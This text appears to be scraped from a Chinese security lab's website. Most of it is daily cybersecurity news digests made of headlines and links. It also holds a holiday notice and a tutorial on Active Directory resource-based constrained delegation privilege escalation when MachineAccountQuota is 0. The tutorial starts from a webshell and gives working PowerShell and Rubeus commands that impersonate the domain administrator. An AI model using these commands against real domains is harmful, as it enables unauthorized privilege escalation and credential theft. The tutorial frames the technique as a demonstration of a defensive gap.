免责声明：以下内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景网安实验室观点，因此第三方对以下内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景网安实验室一律不予承担。 1、超过1亿安卓用户安装了Dark Herring诈骗软件 https://www.securityweek.com/over-100-million-android-users-installed-dark-herring-scamware 2、研究人员使用GPU指纹识别技术在线跟踪用户 https://www.bleepingcomputer.com/news/security/researchers-use-gpu-fingerprinting-to-track-users-online/ 3、研究人员使用天然丝纤维生成安全密钥进行强认证 https://thehackernews.com/2022/01/researchers-use-natural-silk-fibers-to.html 4、Samba修复了CVE-2021-44142远程代码执行漏洞 https://securityaffairs.co/wordpress/127457/security/cve-2021-44142-samba-rce.html 5、瑞典安全巨头Securitas AB暴露了3TB机场员工的敏感数据 https://www.hackread.com/security-giant-expose-3tb-airport-employees-data/ 6、英国零食生厂商KP Snacks遭受了勒索软件攻击 https://threatpost.com/kp-snacks-crumbs-ransomware-attack/178176/ 7、npm JavaScript包管理器中被发现1300个恶意包 https://www.securityweek.com/1300-malicious-packages-found-popular-npm-javascript-package-manager 8、攻击者从加密货币公司Wormhole窃取3.2亿美元 https://www.infosecurity-magazine.com/news/online-thieves-steal-320m-crypto/ 9、H2O HTTP服务器项目中的内存泄漏漏洞已被修复 https://portswigger.net/daily-swig/fastly-patches-memory-leak-http-3-vulnerability-in-h2o-http-server-project 10、流行的持续交付平台Argo CD存在目录遍历漏洞 https://threatpost.com/argo-cd-security-bug-kubernetes-cloud-apps/178239/

免责声明：以下内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景网安实验室观点，因此第三方对以下内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景网安实验室一律不予承担。 1、美国FCC以国家安全风险为由撤销中国联通在美运营许可 https://securityaffairs.co/wordpress/127347/security/us-ban-china-unicom-americas.html 2、微软警告利用 Azure AD 的多阶段网络钓鱼活动 https://www.bleepingcomputer.com/news/security/microsoft-warns-of-multi-stage-phishing-campaign-leveraging-azure-ad/ 3、美国宾州将立法禁止苹果 AirTag 类电子防丢器滥用 https://www.ithome.com/0/600/725.htm 4、朝鲜关键服务无法访问 疑似遭到DDoS攻击 https://www.cnbeta.com/articles/tech/1231211.htm 5、QNAP 针对最近一波 DeadBolt 勒索软件感染强制安装更新 https://securityaffairs.co/wordpress/127353/malware/qnap-force-installs-update-deadbolt-ransomware.html 6、黑客利用Github漏洞伪装成Linus称将发布“元宇宙系统” https://www.cnbeta.com/articles/tech/1230793.htm 7、欺诈检测和预防市场将在2028年达到 751亿美元 https://www.helpnetsecurity.com/2022/01/27/fraud-detection-prevention-2028/ 8、施乐发布更新解决了导致网络打印机崩溃的漏洞 https://portswigger.net/daily-swig/xerox-belatedly-addresses-web-based-printer-bricking-threat 9、白宫和 EPA 发布针对供水运营商的 100 天网络安全计划 https://www.zdnet.com/article/white-house-epa-release-100-day-cybersecurity-plan-for-water-utility-operators 10、2021年超过400亿条数据被泄露 https://cybernews.com/security/more-than-40-billion-records-were-exposed-in-2021/

免责声明：以下内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景网安实验室观点，因此第三方对以下内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景网安实验室一律不予承担。 1、NCSC警告英国实体遭到来自俄罗斯的潜在破坏性网络攻击 https://securityaffairs.co/wordpress/127342/security/ncsc-alerts-destructive-russian-cyberattacks.html 2、芬兰外交官的设备感染了 Pegasus 间谍软件 https://securityaffairs.co/wordpress/127334/breaking-news/pegasus-spyware-finnish-diplomats.html 3、Zerodium 宣布将支付 400,000 美元购买 Outlook 0day https://securityaffairs.co/wordpress/127327/uncategorized/microsoft-outlook-rce-zero-day-payout.html 4、台达电子遭到 Conti 勒索软件的攻击 https://securityaffairs.co/wordpress/127323/cyber-crime/delta-electronics-conti-ransomware.html 5、Solarwinds修复Web Help Desk软件中的漏洞 https://portswigger.net/daily-swig/solarwinds-fixes-code-execution-bug-in-enterprise-helpdesk-software 6、Mirai僵尸网络被发现针对ZyXEL网络设备 https://www.zdnet.com/article/log4j-mirai-ddos-botnet-targeting-zyxel-networking-devices/ 7、针对亚洲的水坑攻击活动部署macOS恶意软件DazzleSpy https://www.welivesecurity.com/2022/01/25/watering-hole-deploys-new-macos-malware-dazzlespy-asia/ 8、TrickBot再添新功能，可让浏览器崩溃 https://www.bleepingcomputer.com/news/security/trickbot-now-crashes-researchers-browsers-to-block-malware-analysis/ 9、HackerOne 获得 4900 万美元的 E 系列融资 https://www.securityweek.com/hackerone-bags-49-million-series-e-funding 10、黑客发现瑞士铁路系统存在漏洞 https://www.infosecurity-magazine.com/news/hacker-flags-flaw-in-swiss-railway/

尊敬的客户伙伴：        蚁景网安实验室将于1月31日至2月6日放假，共计7天，2月7日上班；假期期间实验室将正常运营，若您遇到紧急事项，可联系4006-123-731进行反馈。        感谢客户伙伴一直以来对我们的支持和关注， 新的一年，我们将满怀信心与希望，继续为客户伙伴提供更优质的服务。最后祝愿大家新年快乐、虎年大吉，万事顺遂！

免责声明：以下内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景网安实验室观点，因此第三方对以下内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景网安实验室一律不予承担。 1、Outlook 安全功能可被绕过允许发送恶意链接给收件人 https://www.securityweek.com/outlook-security-feature-bypass-allowed-sending-malicious-links 2、LockBit 2.0 勒索软件团伙称已入侵法国司法部并窃取了文件 https://www.securityweek.com/french-ministry-justice-targeted-ransomware-attack 3、REvil 勒索软件遭俄罗斯执法机构破坏后依然活跃 https://www.securityweek.com/revil-ransomware-operations-apparently-unaffected-recent-arrests 4、Lazarus APT 在最近的攻击中使用了 Windows 更新客户端和 GitHub https://securityaffairs.co/wordpress/127296/apt/lazarus-apt-windows-update-client.html 5、波多黎各遭受重大网络攻击 https://securityaffairs.co/wordpress/127265/hacking/puerto-rico-suffered-cyberattack.html 6、微软缓解了针对Azure客户创纪录的3.47Tbps DDoS攻击 https://securityaffairs.co/wordpress/127279/cyber-crime/record-ddos-attack-azure.html 7、由于Onfido 安全漏洞，数百万用户生物识别数据和ID遭泄露 https://cybernews.com/security/popular-apps-left-biometric-data-ids-of-millions-of-users-in-danger/ 8、Chaes Banking 木马通过恶意扩展劫持 Chrome 浏览器 https://thehackernews.com/2022/01/chaes-banking-trojan-hijacks-chrome.html 9、影响数百万台设备的BotenaGo 僵尸网络源码已泄露到 GitHub https://threatpost.com/botenago-botnet-code-leaked-to-github/178059/ 10、API和数据库问题导致主要的Discord服务中断 https://www.bleepingcomputer.com/news/technology/major-discord-outage-caused-by-api-and-database-issues/

前言 RBCD常见的攻击手法都是通过添加机器账号，然后设置委派，可参考https://mp.weixin.qq.com/s/Cc-SiuwtGTB_cKQBc1IX0g，那如果域管理员设置了域内默认添加的机器账号的数量为0呢？ 修改ms-DS-MachineAccountQuota可以通过ADSI编辑器更改：   也可以通过admod工具更改： AdMod.exe -b  "dc=rootkit,dc=org" "ms-DS-MachineAccountQuota::0" -updatenchead 最后能看到ms-DS-MachineAccountQuota为0:   自己委派自己 尝试利用老方法，能够发现添加机器账号失败了，也是情理之中：   https://mp.weixin.qq.com/s/Cc-SiuwtGTB_cKQBc1IX0g中有讲到，机器自身和把机器拉入域的域用户都有权限更改机器的msDS-AllowedToActOnBehalfOfOtherIdentity属性，而且还提到，服务账号，如iis、localservice这些，发起网络请求的身份是机器账号：      因此我们可以自己委派自己，把机器的msDS-AllowedToActOnBehalfOfOtherIdentity改为自身机器账号，然后自身机器账号在模拟用户进行委派攻击。 我们模拟一下实战，首先打到了一个内网的webshell，iis apppool权限：   利用ADModule来设置自己委派给自己： powershell -ep bypass "import-module .\Microsoft.ActiveDirectory.Management.dll;$iis = get-adcomputer SRV-WEB-KIT;set-adcomputer SRV-WEB-KIT -PrincipalsAllowedToDelegateToAccount $iis" 查询委派信息（利用工具：https://github.com/Jumbo-WJB/search_rbcd），设置委派成功：   这时候看过我https://mp.weixin.qq.com/s/Cc-SiuwtGTB_cKQBc1IX0g的小伙伴会想了：“接下来我会，使用机器账号的凭证发起s4u协议就可以委派了”，确实是可以，但是这里是低权限用户，没法抓密码，也就无法获取机器账号凭证，那应该如何操作呢？ 首先利用rubeus通过AcquireCredentialsHandle、InitializeSecurityContext，以非高权限申请转发票据： rubeus.exe tgtdeleg /nowrap    利用s4u协议请求票据： rubeus.exe s4u /user:SRV-WEB-KIT$ /domain:rootkit.org /dc:owa2013.rootkit.org /impersonateuser:administrator /msdsspn:http/SRV-WEB-KIT.rootkit.org /ptt /ticket:doIFLxxxxxxxxxx    最终也成功的利用http spn对该机器进行了提权操作： powershell -ep bypass "invoke-command -computername SRV-WEB-KIT.rootkit.org -Command {whoami}"   抓密码啥的当然也不在话下：    总结 本文描述了在MAQ为0的情况下的提权手段（当然不止文中的这些手段），可见设置MAQ为0并不能完全的防御住基于资源的约束委派攻击。

免责声明：以下内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景网安实验室观点，因此第三方对以下内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景网安实验室一律不予承担。 1、苹果发布安全更新修复了两个零日漏洞 https://securityaffairs.co/wordpress/127240/hacking/apple-fixed-two-zero-day-2022.html 2、新的 DeadBolt 勒索软件针对 QNAP NAS 设备 https://securityaffairs.co/wordpress/127221/malware/deadbolt-ransomware-qnap-nas.html 3、VMware 敦促客户修补Horizon 服务器中的Log4j 漏洞 https://securityaffairs.co/wordpress/127214/security/vmware-horizon-patches-log4j-flaws.html 4、PwnKit：本地提权漏洞影响主流的 Linux 发行版 https://securityaffairs.co/wordpress/127199/security/linux-cve-2021-4034-bug.html 5、PrinterLogic 修复了打印机管理套件中的严重漏洞 https://securityaffairs.co/wordpress/127194/security/printerlogic-printer-management-suite-flaws.html 6、Android 安全工具 APKLeaks 修补严重漏洞 https://portswigger.net/daily-swig/android-security-tool-apkleaks-patches-critical-vulnerability 7、Linux内核漏洞(CVE-2022-0185)可用于逃逸Kubernetes容器 https://www.bleepingcomputer.com/news/security/linux-kernel-bug-can-let-hackers-escape-kubernetes-containers/ 8、黑客利用MSHTML漏洞针对西亚政府和国防目标 https://www.trellix.com/en-gb/about/newsroom/stories/threat-labs/prime-ministers-office-compromised.html 9、GitHub iOS和Android 应用启用双因素身份验证机制 https://www.zdnet.com/article/github-enables-two-factor-authentication-mechanism-through-ios-android-app 10、Claroty 发布新的开源工具用于研究分析EtherNet/IP 堆栈 https://www.securityweek.com/new-open-source-tool-helps-identify-ethernetip-stacks-ics-research-analysis

免责声明：以下内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景网安实验室观点，因此第三方对以下内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景网安实验室一律不予承担。 1、Segway 电子商店遭受 Magecart 攻击 https://securityaffairs.co/wordpress/127187/cyber-crime/segway-magecart-attack.html 2、英国 NCSC 将发布一组Nmap 脚本以查找未修补的漏洞 https://securityaffairs.co/wordpress/127181/hacking/uk-ncsc-scanning-made-easy-sme.html 3、最新版本的 Android RAT BRATA 在窃取数据后擦除设备 https://securityaffairs.co/wordpress/127131/cyber-crime/new-android-brata-rat.html 4、加拿大外交部在网络攻击后遭受服务中断 https://www.bleepingcomputer.com/news/security/canadas-foreign-affairs-ministry-hacked-some-services-down/ 5、攻击者正在利用 SonicWall SMA 设备RCE 漏洞 https://securityaffairs.co/wordpress/127147/hacking/sonicwall-secure-mobile-access-rce.html 6、Molerats APT组织针对中东发起新的间谍攻击 https://www.zscaler.com/blogs/security-research/new-espionage-attack-molerats-apt-targeting-users-middle-east 7、巴西中央银行的Pix即时支付系统泄露用户数据 https://playcrazygame.com/2022/01/23/central-bank-reports-pix-key-data-leak/ 8、DTPacker恶意软件分发多个木马和信息窃取程序 https://www.proofpoint.com/us/blog/threat-insight/dtpacker-net-packer-curious-password-1 9、黑客组织加密了白俄罗斯铁路公司服务器以示抗议 https://www.bleepingcomputer.com/news/security/hackers-say-they-encrypted-belarusian-railway-servers-in-protest/ 10、《黑暗之魂3》游戏服务器因严重的RCE漏洞而关闭 https://www.kaspersky.com/blog/dark-souls-dangerous-vulnerability/43436/

免责声明：以下内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景网安实验室观点，因此第三方对以下内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景网安实验室一律不予承担。 1、Microsoft 在最新Excel中默认禁用所有 Excel 4.0 宏 https://www.securityweek.com/microsoft-restricts-excel-40-macros-default 2、Facebook 母公司 Meta 周一宣布将打造超级计算机 https://www.securityweek.com/facebook-trumpets-massive-new-supercomputer 3、CentOS Web Panel 存在两个严重漏洞可导致服务器被远程攻击 https://www.securityweek.com/cwp-flaws-expose-servers-remote-attacks-possibly-exploited-wild 4、Rust 中的一个高危漏洞可导致文件和目录被删除 https://securityaffairs.co/wordpress/127135/security/rust-programming-language-flaw.html 5、Emotet 垃圾邮件使用非常规IP 地址格式来逃避检测 https://securityaffairs.co/wordpress/127108/malware/emotet-evasion-technique.html 6、WhisperGate和NotPetya恶意软件策略相似 https://thehackernews.com/2022/01/experts-find-strategic-similarities-bw.html 7、CISA在已知被利用漏洞目录新增17个漏洞 https://www.bleepingcomputer.com/news/security/cisa-adds-17-vulnerabilities-to-list-of-bugs-exploited-in-attacks/ 8、研究人员发现jQuery UI库中存在多个漏洞 https://www.securityweek.com/resurrected-jquery-ui-library-haunts-some-websites-enterprise-products 9、钓鱼邮件冒充航运巨头马士基传播STRRAT木马 https://www.bleepingcomputer.com/news/security/phishing-impersonates-shipping-giant-maersk-to-push-strrat-malware/ 10、F5发布安全补丁修复影响其产品的25个漏洞 https://securityaffairs.co/wordpress/127097/security/f5-big-ip-flaws.html

免责声明：以下内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景网安实验室观点，因此第三方对以下内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景网安实验室一律不予承担。 1、F5 修补了 BIG-IP 中的两个漏洞 https://www.securityweek.com/f5-patches-two-dozen-vulnerabilities-big-ip 2、McAfee Enterprise 修补了高危漏洞 https://www.securityweek.com/high-severity-vulnerabilities-patched-mcafee-enterprise-product 3、Spamhaus称DoH 使追踪僵尸网络变得更加困难 https://www.securityweek.com/doh-makes-it-difficult-track-botnets-spamhaus 4、OpenSubtitles 数据泄露影响了 700 万订阅者 https://securityaffairs.co/wordpress/127092/data-breach/opensubtitles-data-breach.html 5、荷兰国家网络安全中心 (NCSC) 警告与 Log4J 漏洞相关网络攻击 https://securityaffairs.co/wordpress/127067/security/dutch-ncsc-warns-log4j-attacks.html 6、McAfee Agent 软件中的一个安全漏洞可导致提权 https://securityaffairs.co/wordpress/127044/security/mcafee-agent-code-execution-flaw.html 7、Google Project Zero 披露了两个 Zoom 零日漏洞的细节 https://securityaffairs.co/wordpress/127016/hacking/zoom-zero-day-vulnerabilities.html 8、数十个 WordPress 插件和主题被植入了后门 https://thehackernews.com/2022/01/hackers-planted-secret-backdoor-in.html 9、BHUNT密码窃取恶意软件瞄准加密货币钱包 https://thehackernews.com/2022/01/new-bhunt-password-stealer-malware.html 10、Conti勒索软件团伙泄露印度尼西亚银行数据 https://securityaffairs.co/wordpress/126988/cyber-crime/bank-indonesia-conti-ransomware.html